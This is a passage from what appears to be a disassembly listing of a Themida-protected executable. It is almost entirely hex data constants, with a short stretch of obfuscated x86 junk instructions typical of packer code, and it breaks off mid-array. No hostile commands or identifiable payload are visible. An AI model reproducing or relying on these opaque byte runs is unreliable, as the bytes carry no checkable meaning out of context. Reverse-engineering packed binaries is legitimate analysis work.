1086F2AAh, 0F0AA4051h, 0A71E2050h, 16A40D91h, 7AB78798h dd 37EC89F9h, 647A44B4h, 9BE9B8E1h, 98724316h, 3C6C0C9Eh dd 73F73C22h, 643C6703h, 87108119h, 0D9ABEE55h, 41521CB4h dd 61344076h, 62083EEDh, 9FB753Eh, 40EBA1DAh, 248D4F6Fh dd 0A8F154C4h, 531CB4EBh, 0A06EA842h, 0EBC207BEh, 98A91CB4h dd 0C8F8C8F2h, 0CB3BBDF6h, 4618F2CBh, 0AE19237Fh, 94693A1Ah dd 0ABAA1D25h, 0B03CB8BEh, 0C8000004h, 817FE6Eh, 0C75C39A9h dd 101FF666h, 7EB540B0h, 0B2E98CFCh, 0F464C6F9h, 3DAD1221h dd 0F969CB58h, 34A4071Ch, 0DD687661h, 169BDAB4h, 0B686B637h dd 1086F293h, 86F23E5Fh, 0D707B710h, 0DF63C07h, 0A67716A4h dd 90008370h, 0D429980Dh, 0DD654FB7h, 45Bh, 6431A11Dh dd 1BFA6ACFh, 5C39A904h, 24F161C7h, 5A3BAB0Fh, 0EF534E3Dh dd 2689967Fh, 0F450DFB6h, 0C142F184h, 4B13C451h, 9BDA5178h dd 0E15B1C16h, 72E2624Fh, 729F4B44h, 375A111h, 6EB31233h dd 801086F2h, 0A9A69000h, 0AD1826F7h, 1086F264h, 45193607h dd 9BF9127Eh, 0DA696B16h, 1693F5B7h, 0F40FCCDh, 9B05647Eh dd 0C811B48Ah, 0B31693B3h, 0EBF1CDE2h, 93B03158h, 0A6EB5A16h dd 451693B0h, 5DDFCC74h, 0FBD4A9EDh, 0BA41840Fh, 0B4170A40h dd 2FC636h, 96241282h, 0ACA9B5E5h, 1C1C8889h, 92E1898Ah dd 57C724A6h, 81F1525Fh, 0C2F2C6F4h, 49FCE2FCh, 1086F200h dd 9530DAEBh, 169BFB5Dh, 83F375BEh, 0F0D0BA93h, 4EB2FFDFh dd 1C022CDEh, 8BEA13Bh, 98723BD3h, 933BE02Dh, 6AC78D16h dd 0F821A405h, 8316933Bh, 0AC999DB2h, 610AC9BBh, 3B2F0035h dd 5DE06954h, 0E39DBDA0h, 38h, 0DB0BABB7h, 0F5F04003h dd 0BC8D169Bh, 8083B5A2h, 280F7FFEh, 0FED9764Ch, 0ECBABDh dd 3FED9D96h, 66D6545Dh, 51F41984h, 16811693h, 0BD17A2A7h dd 79D9DBDh, 79000001h, 8757C724h, 955EC62Ah, 0B6D81408h dd 86B05A75h, 0AA1A9B98h, 0EE9C0C69h, 494DBD3Dh, 536BDB58h dd 7297BA89h, 45561086h, 8CA567A5h, 827BBB2Bh, 67C82BE8h dd 8672B5DCh, 48673810h, 77E608ADh, 79FA1086h, 34B76C09h dd 3CB9FAC4h, 15F5CACCh, 35273517h, 86774B8Eh, 0C4613210h dd 1086779Dh, 61D13360h, 42F69C4Eh, 0B5794C12h, 56169B71h dd 7A94BD88h, 4E571693h, 7B4070A1h, 0F595BADDh, 0C5EEF0C1h dd 44DFF868h, 2DB06308h, 2E303B2Fh, 234A405h, 83335D0Dh dd 90B88B53h, 5D108B84h, 6B6C724Ch, 3EC354E4h, 9495757Bh dd 60CFA616h, 882E7AE2h, 94130D7Fh, 285BE2BBh, 7680B1C5h dd 25E0Eh, 2C9C1A00h, 0E757DA49h, 34A4210Eh, 0FE6ED261h dd 3AAA0817h, 544F3C5Bh, 0A08F66D6h, 59C6AF1Fh, 958A6BDBh dd 4CFA616h, 0D8266BDAh, 44C5169Bh, 65C624F8h, 86F2BBDEh dd 5E714210h, 9B0B68B7h, 0BAB2EFAh, 0F04003DBh, 8D169BF5h dd 0D2FB7ABCh, 9B1693F1h, 5B16BC99h, 0EF285897h, 202994FBh dd 9DBDCF9Dh, 0FC23h, 8D4FF700h, 86F293B6h, 0A1495A10h dd 9BA31370h, 13059ABAh, 86648FCDh, 0A7179B88h, 6AEA146Fh dd 8291086h, 4F93DADh, 0DE46A566h, 1F06FF1h, 0A6FA4ABh dd 8CA39C9Ah, 1D58A5B2h, 5A3E63E2h, 0ECBD1086h, 38D2A9CBh dd 8FEC4352h, 0ED91171Fh, 9ABBA1BDh, 44C0FA45h, 0CAEDE2D4h dd 38D2D133h dd 9B2AA18Dh, 4302C416h, 1693131Eh, 12E3CCDDh, 9AA4D4A4h dd 1783E8BDh, 1AF32393h, 0B7DE6C3Dh, 71C281D3h, 108B7Ah dd 0A0220F2Fh, 0AF045A30h, 7879E34Bh, 442A6180h, 15958A6Bh dd 0D147D8A5h, 9E98B1C3h, 14E16h, 5CCC2A00h, 97076AB9h dd 64D431FEh, 0AE1EA291h, 6ADA58C7h, 249F0C8Bh, 70BF56C6h dd 29F69F0Fh, 65BA5BCBh, 0D4FF9606h, 0DE163B0Ah, 14D5169Bh dd 56C62428h, 0AAEF5688h, 511086F2h, 54CBAA40h, 5A5767D7h dd 582D69D9h, 0C4880365h, 454E61B2h, 0F99476E6h, 0E2624F33h dd 3363D356h, 4C41755Ah, 820E6D9Eh, 9DA18EFEh, 6DA91994h dd 0F5BE7898h, 103F3E64h, 44A7BC7Ah, 49A90AD4h, 0E5CA3ABDh dd 4302DCB1h, 1086381Eh, 4F1ECCDDh, 0D646A60Bh, 95FBEFE0h dd 0AFADB1E1h, 8638CD14h, 0EB9FB010h, 0DA697369h, 108638B7h dd 16856536h, 16A4C704h, 0F1023405h, 0DC532292h, 0FE6ED35Fh dd 44A40DD1h, 0FDEDE2D4h, 75C6B40Fh, 672D8Bh, 0AD0C25CDh dd 0CDCB6E45h, 1639D2A2h, 0CE3B2F20h, 3618FD6Dh, 19749D28h dd 26F731ABh, 0F464C744h, 0DF4FB1C2h, 822DDCD7h, 0DB5AE645h dd 4BCB4C6Bh, 32E5B3DAh, 0A81B411Dh, 31AB2061h, 29991F0Ch dd 45096406h, 2065AC17h, 1B0831ABh, 0A092696h, 0D65337A7h dd 768C955h, 0AB20153Ch, 0E8C7D831h, 0B8FED1AEh, 1A3Ch dd 0C3417200h, 806A6353h, 6F6D2F9Ch, 0F550C042h, 1086F2ACh dd 6FDF624Fh, 2472AA40h, 475C5ACAh, 314274E4h, 3E3363D3h dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h dd 783C7AEAh dword_5FC7A8 dd 6C4A68h, 241C8900h ; Themida_:0057C680o ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 61D1C3Ch mov edi, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edi pop dword ptr [esi+8] mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_581882 ; --------------------------------------------------------------------------- dw 61A6h dd 81FA897Dh, 2725613Eh, 0B8FDB280h, 61D2D79h, 0E0FFC503h dd 48C17BAFh, 2EDC56B0h, 7DBF561Fh, 6835F0C6h, 3B5CA06Bh dd 6B74D349h, 1A042357h, 3EA85C82h, 15D792EDh, 717037D7h dd 56B34A14h, 75FED18h, 0CE630B1h, 39C0F25Eh, 722A8E1Dh dd 652FFB8Bh, 18B4D02Ah, 4FD57C0Bh, 26DC82F8h, 7AFE6647h dd 35755FF1h, 5505B8D4h, 677F4277h, 6B812618h, 7B1D3BBAh dd 705CF5D2h, 39453C53h, 7959CE9Ch, 2F278D8Dh, 6A061Dh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E97588C3h, 9, 7455D39Ah, 27F3F16Ch, 218D890Eh, 89061527h dd 15225195h, 0CD85C706h, 0FC061504h, 0E9000070h, 0Ah dd 0B96B5652h, 4C1F769Ah, 85C7063Eh, 6151115h, 0 dd 10F1B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 877283C3h, 3A5BD29h, 95FF0615h dd 61502C9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0EC35545h, 8BEF50BCh, 6A37B4F1h, 2195FF00h, 8B06152Eh dd 9F78EBC0h, 0E76BC44Bh, 258030CCh, 32771E50h, 5760DEACh dd 49584BE3h, 0D028A7D6h, 9D4704CAh, 0FE03E50Bh, 96070639h dd 3EC9B1BDh, 0D75FDF79h, 76664D96h, 0A279CB13h, 0F55E9923h dd 0D7B95Eh, 62ED2FB3h, 99F22C67h, 0D505F32Fh, 642C61A7h dd 0A8D5DCh, 3317E81Ah, 0B32B27C6h, 0DEB536E8h, 9F6C9A0Fh dd 0C88E2773h, 8CF5D4DFh, 958F48B7h, 2C52CF0h, 5FB33035h dd 8DBE9E5Bh, 1D30728Dh, 0A5858906h, 89061526h, 1527218Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 2276276Bh, 78B866BBh, 7886BA75h, 85C74F31h dd 61504CDh, 5C74h, 64E88166h, 1585C7EEh, 61511h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 593EC353h, 0ED83C3CAh, 6B9C0B6Eh, 2CBDB5FFh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0FFA6C7C3h, 1502C995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1C4BB705h dd 1F288C78h, 6AC8CEh, 2E2195FFh db 15h byte_5FCAA1 db 6, 8Bh, 0C0h ; DATA XREF: Themida_:00579DF4o dd 71711BEBh, 6A5F3C6Ch, 131A6DCEh, 4B9213EFh, 0BDD5BB69h dd 0E9D700Eh, 0DFB42610h, 10EB20h, 3 dup(0) dd 8B000000h, 850F50C0h, 10h, 0BE9h, 0A4A86900h, 0F10B29A3h dd 92C93DD0h, 418D895Ah, 8306150Ch, 1508F5BDh, 9750006h dd 3ADBD83h, 74000615h, 8B535019h, 42DB8C0h, 85890000h dd 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh dd 50177400h, 42DB853h, 85890000h, 6151385h, 0A78D9D8Dh dd 0D3FF0617h, 6A585Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 371131C3h, 1331B58Bh, 0E8F50615h dd 6, 0A43C2397h, 958BC287h, 61504E5h, 4ADE815Eh, 8B482C18h dd 57DCB2C0h, 0BE8h, 0DCC45E00h, 59EC6A35h, 12B395F8h dd 850Fh, 5E5A0000h, 9858D8Bh, 0B58B0615h, 6151E25h, 1D9D9D89h dd 0F9830615h, 5F840F00h, 1000000h, 152EB58Dh, 3D8B6406h dd 2Ch, 0E8F7B70Fh, 7, 0BB5D9F36h, 8B154AB9h, 151119B5h dd 0FF0B5E06h, 34840Fh, 0FE90000h, 0AA000000h, 5269C073h dd 99264FF2h, 92881C7Bh, 8D296662h, 6151D19h, 0F6813F8Bh dd 438FF020h, 9589C032h, 615130Dh, 8952AAF3h, 1511F995h dd 49355A06h, 6A535041h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 6629C351h, 2229982Ah dd 0C585C624h, 47061509h, 0A59B58Bh, 3F680615h, 81D9E78Ch dd 0FBED2404h, 858902EEh, 6150805h, 2811B5FFh, 6E80615h dd 0D3000000h, 61978FDAh, 0F38B663Ch, 0BC858D5Ah, 0BA061872h dd 4E57B64Ah, 810FD0FFh, 3, 89F6B70Fh, 152D2585h, 5958B06h dd 0C606152Fh, 1509C585h, 6A5306h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 6A1A0AC3h, 0BA66EF3Bh dd 0BA66B270h, 4E83593h, 0FC000000h, 5088986Ah, 448B5A53h dd 5E560424h, 8B66008Bh, 244489F3h, 58F38B04h, 68E0Fh dd 958B0000h, 615044Dh, 2811B5FFh, 858D0615h, 61872BCh dd 0B70FD0FFh, 36858DD0h, 66061837h, 89A892BAh, 15248D85h dd 15810F06h, 0E9000000h, 10h, 6F87E77Ch, 29001B6h, 0BF81DD52h dd 0DC005AA3h, 0FF6A206Ah, 248D95FFh, 49350615h, 0C7535041h dd 151E0185h, 106h, 0BD85C700h, 6152Fh, 89000000h, 1504A1BDh dd 1858B06h, 66061516h, 64E797BAh, 0A3h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0F9B2446Eh, 48B0F14h, 66000000h, 660BC3BAh, 0BD83D78Bh dd 61509CDh, 52840F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7DC5C355h dd 858B7F05h, 6151D09h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 53C35545h, 27EEB391h, 0DB4E7183h, 0A9958B8Ch dd 8B061525h, 0F5BD83E0h, 61527h, 47A850Fh, 85890000h dd 6152179h, 9C585C6h, 60560615h, 1F9BD89h, 0FE80615h dd 0F4000000h, 839CE39Ah, 0D734FF54h, 0AB2C715h, 0D18B6338h dd 968615Ah, 0B252AA8Ch, 240481B3h, 571AA4D6h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3C35646h, 9ADBECCCh dd 6850F60h, 8B000000h, 1522D195h, 11B5FF06h, 8D061528h dd 1872BC85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 81DBC9D4h, 9E9h, 84D87700h, 3E5E600Fh dd 0D0FFCC20h, 10C9958Bh, 50500615h, 0F51B652h, 89585A31h dd 0F18B2404h, 5E9h, 0D5E2100h, 8D8D4F05h, 6152839h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7C35545h, 0E4E90812h dd 0E11B58Bh, 8B500615h, 240C89F3h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0FC35343h, 0C5BA1446h, 6A40597Dh dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0EC796D27h, 686C5D56h, 7337C894h, 3481F58Ah dd 37D89424h, 95B58B73h, 0FF061509h, 150031B5h, 5800F06h dd 0BE000000h, 3E015C7Bh, 0C8C28166h, 66D0FF54h, 8BC4DBBEh dd 150031BDh, 99B58B06h, 3061519h, 952B3C7Fh, 6151A49h dd 0F8C781h, 8D290000h, 6151D99h, 0C765C680h, 202447h dd 8B666000h, 0DDEA81D0h, 83687E2Bh, 1D3094BDh, 840F0006h dd 1FBh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 54C35040h, 40DE81FFh, 837BC6AFh, 6A28C7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0A85E02C3h, 0C2A6E843h, 860F0BCDh, 11h, 0CE9h, 906F9100h dd 0B2FEDA40h, 4AAFE35Bh, 2E07C78Bh, 6A64696Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 5EC2C355h, 0EC553BE8h, 0B70FB1B2h, 47C7F8F0h, 61746104h dd 0F99D8900h, 8B06150Ch, 1D309C85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0ACAB6B6h dd 24B7D820h, 0FE9A1h, 0A5410000h, 69BE009h, 31619281h dd 66A5DC94h, 0C47895Eh, 2691958Bh, 858B0615h, 61D30A0h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D6C35545h dd 89F18B66h, 6A0847h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0BC7067C3h, 7E9B5D2h, 66000000h dd 0F9DDFAFDh, 850FF22Dh, 17h, 12E9h, 0C44CCD00h, 226F139Ah dd 620DBD7Ah, 83A65B47h, 835802E6h, 950128C7h, 6150895h dd 632E07C7h, 880F6E6Fh, 6, 2AC9B589h, 85290615h, 615271Dh dd 660447C7h, 0E8006769h, 6, 0F241A19Bh, 9E9F95Ch, 0AB000000h dd 11A0B9Ch, 0CCAD510Ch, 98858B5Eh, 6A061D30h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 689BC351h, 89CBF8FFh, 0FE90C47h, 0DD000000h, 0E6D3FD29h dd 0B59EC092h, 2C9A4FB6h, 0B58B68B7h, 6152AC9h, 3094858Bh dd 8E0F061Dh, 0Eh, 0F18D8B60h, 81061509h, 0FD7957DEh, 47896132h dd 0C99D8908h, 58061505h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0C35646h, 57CC1CDFh, 0D5BD89AFh, 8D061520h dd 152C798Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 880FFC3Ah, 4, 6DE8BE66h, 240C8950h dd 0B5FFD18Bh, 6152839h, 30159589h, 0DA680615h, 6017C102h dd 66CA8B60h, 61BF04B8h, 8D95BF66h, 24348161h, 17C112DAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 17C35242h dd 0FF968C1Eh, 150031B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A86EF82Ch dd 0D0FF6133h, 0FD98D89h, 85890615h, 6151DADh, 0B8h, 19958B00h dd 0B061523h, 22840FC0h, 29000000h, 151E0DB5h, 0FFD78B06h dd 1503BDB5h, 7E906h, 84290000h, 0C3F4D90Eh, 0C995FF85h dd 0B2061502h, 66C08BF3h, 83B650BAh, 1508F5BDh, 9750006h dd 3ADBD83h, 74000615h, 8B535019h, 42DB8C0h, 85890000h dd 61502A1h, 0AB059D8Dh dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h, 42DB853h dd 85890000h, 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 0B70F585Bh dd 14E9D2h, 0F7FA0000h, 0CD4019BFh, 0B5B06591h, 1AC02E28h dd 43B5ED28h, 0C08B6767h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0ACC35040h, 0AE1B50Bh, 0C08B0615h, 39A98D8Dh dd 8D89061Dh, 6152721h, 0AE9h, 4E6DBA00h, 0D0DD6BFh, 0C7A048B2h dd 1504CD85h, 6A2006h, 8E900h, 0A0610000h, 975C901Bh, 85C770A4h dd 6151115h, 0 dd 2E258501h, 0B5FF0615h, 6152921h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 6DC35141h, 0AB7FE8B2h, 2C995FFh dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 0C8DB0AC3h, 39895A02h, 8B9BD9EFh, 152AE5BDh dd 0FF006A06h, 152E2195h, 0EBC08B06h, 57E2944Dh, 9EF62DF5h dd 83E06193h, 82940FF8h, 316DAFFCh, 4D569CA8h, 9BC5DA6h dd 776CB2A9h, 0BFE04DC0h, 84256C08h, 4378F7Ah, 69A05F52h dd 0F57E0572h, 0E57657Eh, 7A0A244Ah, 0D195A6D5h, 1E61A9A6h dd 68545ED6h, 0EBD4350Eh, 8D8D23E5h, 61D3A98h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 16C35141h, 0C4A46B13h dd 91DB79B2h, 2D95896Bh, 8906152Fh, 1527218Dh, 0CD85C706h dd 8C061504h, 80000074h, 85C784F2h, 6151115h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8CC35747h dd 0B4575B46h, 0B362C19Eh, 8EDBD8Bh, 0B5FF0615h, 6152F59h dd 2CD5B58Bh, 95FF0615h, 61502C9h, 1381B58Bh, 8D890615h dd 61518EDh, 95FF006Ah, 6152E21h, 4DEBC08Bh, 0FED542D4h dd 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh, 8639CC3h dd 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh, 7DF7488Fh dd 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh, 0F182738Ch dd 0A058689h, 4788D771h, 1D9ED841h, 11E84Bh, 0ECD60000h dd 0D2480425h, 0B2952189h, 4677C2A0h, 6688B74Ch, 0F5FC28Bh dd 58Bh, 0D8816600h, 0C7810093h, 5A30h, 0B9C0B70Fh, 1662h dd 8BC0BF0Fh, 0EE917h, 0CA30000h, 0E15C7ADBh, 0D3B1A725h dd 9EA90D3Ah, 0E5E4EA81h, 8A0F1ADBh, 5, 12DB13BBh, 0EAC2812Eh dd 8B156D8Fh, 152CD585h, 94F28106h, 0FC643423h, 0E9561789h dd 13h, 0F34D25C7h, 4C216EA3h, 65217918h, 10653100h, 5E120477h dd 11D0EF81h, 7E91439h, 0AA000000h, 0BA16A8DBh, 0C7817AA0h dd 143911CCh, 850F49F5h, 0FFFFFF8Bh, 0FF59D381h, 2AE9724Ch dd 24000000h, 47774Ch, 9 dup(0) dd 57DE900h, 93F30000h, 5CDD5223h, 9B1A09ECh, 53D54A2Bh dd 9D1D12E3h, 5853482Dh, 950565h, 0B95CCC33h, 0FB9A0A6Ah dd 0BE57C724h, 577A4915h, 16169BC9h, 0C724E755h, 0F053B43Bh dd 1086F2A9h, 2A6C4354h, 273C7A55h, 98C253C3h, 9A0A6DC6h dd 0DF02A39Ch, 9E1086F2h, 0CF2CDD8Dh, 6075575Fh, 0DD529CABh dd 0EA5AD86Ch, 0EFCD3ACh, 102E9E1Dh, 8252774Eh, 0CB71086h dd 108682C5h, 182997A8h, 0D9DAC472h, 0EEB0E656h, 86823257h dd 0C7E8B910h, 82054CF7h, 0D7E81086h, 0B73F633h, 608212EBh dd 53C325A2h, 6A456A63h, 0E1D2B42Ch, 171D35Fh, 4717E82Eh dd 8669557Ch, 63071810h, 0E546812Ch, 0A0BEA075h, 8669FC25h dd 0BCAE7F10h, 987DED4Fh, 7DB9298Bh, 0F6770364h, 0BA2A8D86h dd 6AAC837Ch, 14B31A8Bh, 59E03098h, 0BBF9284Dh, 67A3BB04h dd 0FED1FE93h, 0FE6ED3E0h, 51B2810Ch, 0CAE7B5E1h, 0E959DF6Bh dd 0B7FFD0ADh, 557924C6h, 9510866Ch, 2D90B924h, 0B397A8B8h dd 58h, 57C72487h, 0F2BFE45Fh, 3ABB1086h, 0C67D5F93h, 1086F283h dd 475A6401h, 0ED532CDCh, 0FA7F2EDCh, 9C97A8CBh, 71A21297h dd 50EC9E0Eh, 1, 55C5246Ch, 81F15061h, 86F674BDh, 0B7392AE4h dd 58DF4F47h, 6FDF6265h, 2B9AC486h, 1086F2E6h, 55D6B485h dd 0A98F66D6h, 6056C624h, 387EEE53h, 5E58C82Bh, 4175E545h dd 0C05F1D54h, 6441A3E4h, 30D90AB5h, 11715689h, 75B89DA1h dd 0F45FB809h, 0DA4924C6h, 0B4ADE959h, 0E7F5C939h, 86F3355Ch dd 3E7B810h, 27971809h, 128202EFh, 90983324h, 496FD23Fh dd 0E102AD5Ch, 0BA3E7349h, 0C6F9A04Ah, 0A8752683h, 668E97h dd 24AA0000h, 2B8856C6h, 605D59C9h, 16978C8Ah, 790070A6h dd 91018146h, 5BCB2F04h, 72E2465Bh, 644BC644h, 0A81C88E5h dd 2DCD0A97h, 972EC097h, 5537E387h, 53000000h, 8856C624h dd 5C5ACA2Bh, 60D03063h, 83B15936h, 0C09E0E6Eh, 75A11173h dd 0F2F51CA7h, 0A7781086h, 0D334E288h, 0F2507766h, 4A67F382h dd 9D9575E5h, 0B639C524h, 0C62D6946h, 1086F286h, 36B9FAE4h dd 426D24C6h, 900083B0h, 1A2EBBFAh, 1B697A8h, 0D2000000h dd 61C924h, 0E3BBABB3h, 0F1250Ah, 20231383h, 4814679h dd 669CA94h, 1199F496h, 0A2213D6Dh, 169BE182h, 745B8A93h dd 3B0C9AF2h, 0B2112214h, 0E3627C42h, 1693E3BEh, 61DF4FB0h dd 44DBBA50h, 0DB8A7FE7h, 0FBDD6819h, 3C63E2D4h, 0C2169310h dd 0DC5F6857h, 0DF61526Ch, 0EFB8486Fh, 0A4B30955h, 0B9A3A7C6h dd 93CCC70Ah, 21A4A616h, 1693CCF8h, 0ED9DB283h, 8C57BF3Ch dd 0D54F2BB6h, 0A4BDF9D6h, 28DFD747h, 2A893E71h, 426FDBBAh dd 0CEF158C0h, 4D3950FCh, 0BC3F3462h, 0D530634Ch, 0A3068565h dd 299DBDDEh, 143h, 3DAD121Fh, 0BABE54Dh, 6AD903DBh, 1086F227h dd 0A9E2F5C6h, 19D5055h, 390C5238h, 169B4B39h, 0D9C3F3C4h dd 0FDED5DD8h, 1F3FAF0Ch, 0CB8C6A36h, 97736D6Ch, 54C427FCh dd 0E75B7C62h, 5DCB065Fh, 0BFF767C6h, 809E1CEh, 3CFB3BABh dd 0DE5D6A55h, 92C3876Eh, 0F0275B86h, 883678Ah, 9DBD2EA5h dd 65AC1745h, 81693EAh, 60E75337h, 0E5000000h, 0C939BAF7h dd 0C55F0CDh, 0EF1693EAh, 4F082CDEh, 0C580E162h, 1086F29Ch dd 35614E5Fh, 3B08B258h, 9022330Bh, 1DA91907h, 3D084E3Ch dd 9086DA34h, 0B4EF5B7h, 0F29086DAh, 0AD080E21h, 9086DA64h dd 0A1AD2087h, 85AEB0E0h, 82D4B626h, 86DABEC3h, 526C3D10h dd 9773E361h, 75B8FCh, 0ABD40000h, 0D903DB0Bh, 1E959D8h dd 9C0616A2h, 20162716h, 0B540B013h, 0E71FD7Eh, 3AF989Eh dd 0CEF9A282h, 3E785778h, 932095B7h, 0FFAE5B16h, 1AFB6BC8h dd 0F8CBEC8Ch, 169326D1h, 9AA48B9Ch, 0B1F9022Bh, 26102110h dd 0F83EAE0Dh, 0D1218CFDh, 0FBEF5FE0h, 0ADB1E195h, 80B62684h dd 8359DB8Fh, 0AD5DCD2Eh, 973D2F0Eh, 53F2EC1Ah, 2D6BE0Eh dd 8A2EDCEDh, 4F50DCB9h, 0F051DD62h, 0D5BBAF80h, 0C4EDF121h dd 4016F464h, 0A42DB885h, 0ACEABB16h, 0FAC434B7h, 0CDC939B9h dd 0CF7B1AF0h, 9D671C06h, 806A5EF3h, 0D6C03093h, 0ED94C76Fh dd 8FA46657h, 0F875BE2Eh, 0D9B18E88h, 5BD8EFDEh, 17400AEBh dd 4DEA4D4Bh, 0BC835414h, 3C18FBC9h, 0C526E387h, 0F0506155h dd 0ABAF9680h, 8FFF80B1h, 0CA0FB687h, 0B157013Bh, 0DF4FB3E0h dd 8D04E6D7h, 0BA46A522h, 0EE7C838h, 432A221h, 2696191Ah dd 35844h, 2F340000h, 5ACA244Bh, 74E4475Ch, 63D33142h dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h dd 7AEA4F64h, 0C368783Ch, 8900006Dh, 89522404h, 4C281E2h dd 81000000h, 4EAh, 24148700h, 242C895Ch, 81E38953h, 4C3h dd 4EB8300h, 5C241C87h, 50243C89h, 694280B8h, 2E0C14Ah dd 7831CF05h, 0C38953DCh, 585BDD89h, 243C8B54h, 6804C483h dd 6B8Fh, 8F242C89h, 34FF0847h, 0C4815F24h, 4, 57242C8Bh dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF83D12h, 94E22BF8h dd 788DC0B7h, 0B87544B7h, 61D40C7h, 0E0FFC503h, 35FF35CFh dd 51311157h, 598C66B8h, 12E7F998h, 21520607h, 50F8A648h dd 76826E7Fh, 47559DCBh, 42320FB5h, 75236951h, 1C6E9814h dd 649317E2h, 10F548D7h, 3856DD83h, 42808D8Dh, 6A061Dh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0DDC4E5C3h, 9D09C6D3h, 6151821h, 27218D89h, 8E90615h dd 98000000h, 0ACC8138h, 0C79D4132h, 1504CD85h, 595006h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 62128AEh, 8F5A803Fh, 0BE665017h, 85C7B439h dd 6151115h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B3C35141h dd 66134B0Ch, 0B5FFC28Bh, 6151D45h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 83C35646h, 410219A1h, 0C995FFCDh dd 6A061502h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4B72C350h, 0D08B6889h, 95FF006Ah dd 6152E21h, 0BEBC08Bh, 0FC88B654h, 81CDB06Dh, 0E8AA270Fh dd 0Fh, 166CC3CDh, 7F5E4376h, 0A423BF01h, 66B63E7Ch, 720CE881h dd 0D6B70F59h, 5F77C181h, 958B0000h, 6151011h, 0BE9FF2Bh dd 39000000h, 450697FEh, 79F64E12h, 1C8B0D67h, 0C381FC39h dd 409CA30Bh, 0EB81F7B6h, 1BC297EDh, 26B5BD29h, 0EB810615h dd 34D926C6h, 1E89858Bh, 0E9530615h, 5, 5EBA8C62h, 39048F50h dd 244D9D01h, 14E90615h, 66000000h, 6A0BCCB0h, 0C8805DE2h dd 3276EB1h, 0B44A7E80h, 81969443h, 2141A4EFh, 3CBA661Dh dd 0A0C781C0h, 661D2141h, 8B03D681h, 0A164FF81h, 850FFFFFh dd 1Eh, 0ACA93AB8h, 2DE944h, 77480000h, 3198A22Ch, 0BE0284EDh dd 0DE65BF33h, 3A02E83Fh, 0F08AF086h, 0FFFF69E9h, 6D69C5FFh dd 7746807Bh, 271B65EAh, 124FBEE6h, 0EB5CB780h, 3DFE900h dd 1F9F0000h, 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh dd 